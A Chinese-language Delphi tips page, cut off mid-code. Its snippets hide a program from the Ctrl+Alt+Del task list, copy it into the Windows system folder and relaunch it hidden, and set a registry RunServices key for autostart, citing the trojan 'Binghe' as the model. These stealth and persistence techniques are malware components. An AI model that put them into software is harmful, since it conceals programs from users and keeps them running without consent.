Delphi 常用技巧总结
Delphi
常用技巧 1
问:如何让 del+CTRL+ALT 看不见程序运行? 答:为了让程序用 ALT+DEL+CTRL 看不见,在 implementation 后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL 32.DLL'; 再在上面的窗口 Create 事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 也可以使用下面的函数: function My_SelfHide: Boolean; type TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall; var hNdl: THandle; RegisterServiceProcess: TRegisterServiceProcess; begin Result := False; if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是 NT begin hNdl := LoadLibrary('KERNEL32.DLL'); RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess'); RegisterServiceProcess(GetCurrentProcessID, 1); FreeLibrary(hNdl); Result := True; end else Exit;
end;
问:自我拷贝法怎么样使用? 答:这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷 贝到特定目录下,然后运行新程序,再退出旧程序. 打开 Delphi,新建一个工程,在窗口的 Create 事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在 Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到 Windows\Sy stem\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行 Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中 GetWinDir 是自定义函数,起功能是找出 Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result + '\'; end;
问:如何避免同时运行多个相同程序? 答:为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方 法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改 dpr 项目文件,修改 begin 和 end 之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到 Form1 时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用 这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改 dpr 项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1};
问:如何能使程序能在 windows 启动时自动启动? 答:为了
程序能在 W
indows 每次启动时自动运行,可以通过六种途径来实现.“冰河”用
注册表的方式。 加入 Registry 单元,改写上面的窗口 Create 事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string; begin {Write by Lovejingtao,Lovejingtao.126,Lovejingtao@21cn} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在 Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己